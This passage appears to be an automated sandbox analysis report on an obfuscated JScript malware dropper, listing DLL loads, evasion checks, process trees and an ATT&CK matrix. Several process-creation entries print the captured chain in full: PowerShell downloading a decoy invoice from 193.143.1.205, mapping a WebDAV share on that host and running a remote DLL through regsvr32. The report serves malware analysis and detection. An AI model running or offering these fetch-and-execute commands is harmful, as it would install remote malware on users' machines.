Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9185.js.csv");ITextStream.WriteLine(" entry:8288 f:gvqtznuen");ITextStream.WriteLine(" exec:2 f:gvqtznuen");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49758

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5484			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4241			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7936	Thread sleep count: 5484 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7936	Thread sleep count: 4241 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8012	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8024	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7920	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8036	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7208	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7752	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1409217712.0000024D31548000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1409217712.0000024D315AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2631959978.00000249DB82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2633905431.00000249E0E5B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
